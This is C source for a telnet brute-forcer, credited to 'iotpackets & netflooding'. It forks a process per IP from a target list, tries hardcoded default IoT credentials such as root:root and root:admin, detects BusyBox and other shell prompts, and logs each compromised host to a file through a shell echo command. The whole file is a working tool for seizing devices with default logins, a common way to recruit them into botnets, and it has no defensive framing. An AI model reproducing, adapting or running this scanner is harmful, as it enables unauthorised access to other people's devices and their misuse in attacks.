Telenet Bruter

/*
    Shitty telnet bruter by iotpackets & netflooding
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

int Timeout;
int port = 23; // change if u want to use a this bruter for other devices or telnet on a diff port
int statement;
char buf[1024];
char combo[60];
char *combos[] = {"root:root", "default:", "root:default", "root:admin", "bin:"}; // the more combos the slower scanner will be on its target lol

#define combo_size (sizeof(combos) / sizeof(unsigned char *))
#define SUCCESS "(\x1b[32m%s\x1b[37m:\x1b[32m%d\x1b[37m)"
#define FAILED "(\x1b[31m%s\x1b[37m:\x1b[31m%d\x1b[37m)"
#define INFO "(\x1b[33m%s\x1b[37m:\x1b[33m%d\x1b[37m)"

void Trim(char *str)
{
    int i;
    int begin = 0;
    int end = strlen(str) - 1;
    while (isspace(str[begin])) begin++;
    while ((end >= begin) && isspace(str[end])) end--;
    for (i = begin; i <= end; i++) str[i - begin] = str[i];
    str[i - begin] = '\0';
}

void brute(char *target)
{
    int Read;
    int c = 0;
    int Socket;
    char cmd[70];
    statement = 0;
    char buffer[1024];
    struct sockaddr_in sock;
    struct timeval timeout;
    char *username;
    char password[40];
    char username2[25];
    char password2[44];
    s:
    switch(statement)
    {
        case 0:
        {
            if(c > combo_size)
                goto end;
            timeout.tv_sec = Timeout;
            timeout.tv_usec = 0;
            if(!(Socket = socket(AF_INET, SOCK_STREAM, 0)))
                return;
            setsockopt(Socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
            setsockopt(Socket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
            sock.sin_family = AF_INET;
            sock.sin_port = htons(port);
            sock.sin_addr.s_addr = inet_addr(target);
            if(connect(Socket, (struct sockaddr *)&sock, sizeof(sock)) == -1)
            {
                statement = 0;
                goto end;
            }
            //else
                //printf(SUCCESS" Connected!\n", target, port);
            statement += 1;
            goto s;
        }
        break;

        case 1:
        {
            snprintf(combo, sizeof(combo), "%s", combos[c]);
            if(combo == NULL || combo == " " || combo == "(null)")
                goto end;
            username = strtok(combo, ":");
            snprintf(password, sizeof(password), "%s", username+strlen(username)+1);
            snprintf(username2, sizeof(username2), "%s\r\n", username);
            snprintf(password2, sizeof(password2), "%s\r\n", password);

            //printf(INFO" Trying Combo -> %s:%s\n", target, port, username, password);
            while(Read = read(Socket, buffer, 1024))
            {
                buffer[Read] = '\0';
                if(strstr(buffer, "ogin"))
                {
                    //printf(SUCCESS" Found login prompt!\n", target, port);
                    goto send_user;
                }
            }
            send_user:
            if(send(Socket, username2, strlen(username2), 0))
            {
                //printf(SUCCESS" Sent username %s!\n", target, port, username);
                while(Read = read(Socket, buffer, 1024))
                {
                    buffer[Read] = '\0';
                    if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
                    {
                        //printf(FAILED" Incorrect username...\n", target, port);
                        c += 1;
                        close(Socket);
                        statement = 0;
                        goto s;
                    }
                    else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
                    {
                        printf(SUCCESS" Successful login with no password -> %s\n", target, port, username);
                        snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
                        system(cmd);
                        goto end;
                    }
                    else if(strstr(buffer, "assword"))
                    {
                        //printf(SUCCESS" Found password prompt!\n", target, port);
                        goto send_pw;
                    }
                }
                send_pw:
                if(send(Socket, password2, strlen(password2), 0))
                {
                    //printf(SUCCESS" Sent password %s!\n", target, port, password);
                    while(Read = read(Socket, buffer, 1024))
                    {
                        buffer[Read] = '\0';
                        if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
                        {
                            //printf(FAILED" Incorrect credentials...\n", target, port);
                            c += 1;
                            close(Socket);
                            statement = 0;
                            goto s;
                        }
                        else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
                        {
                            printf(SUCCESS" Successful login -> %s:%s\n", target, port, username, password);
                            snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
                            system(cmd);
                            goto end;
                        }
                    }
                }
            }
        }
        break;
    }
    end:
    c = 0;
    statement = 0;
    close(Socket);
    return;
}

int main(int argc, char **argv)
{
    if(argc < 3 || argc > 3)
    {
        printf("[\x1b[31m-\x1b[37m] Usage: %s <timeout> <list>\n", argv[0]);
        exit(0);
    }
    Timeout = atoi(argv[1]);
    FILE *vuln_list = fopen(argv[2], "r");
    if(vuln_list == NULL)
    {
        printf("[\x1b[31m-\x1b[37m] Failed to open given list (\x1b[33m%s\x1b[37m)\n", argv[2]);
        exit(0);
    }
    while(fgets(buf, sizeof(buf) - 1, vuln_list))
    {
        if(strlen(buf) < 3 || buf == NULL)
            break;
        Trim(buf);
        if(!(fork()))
        {
            brute(buf);
            exit(0);
        }
    }
    return;
}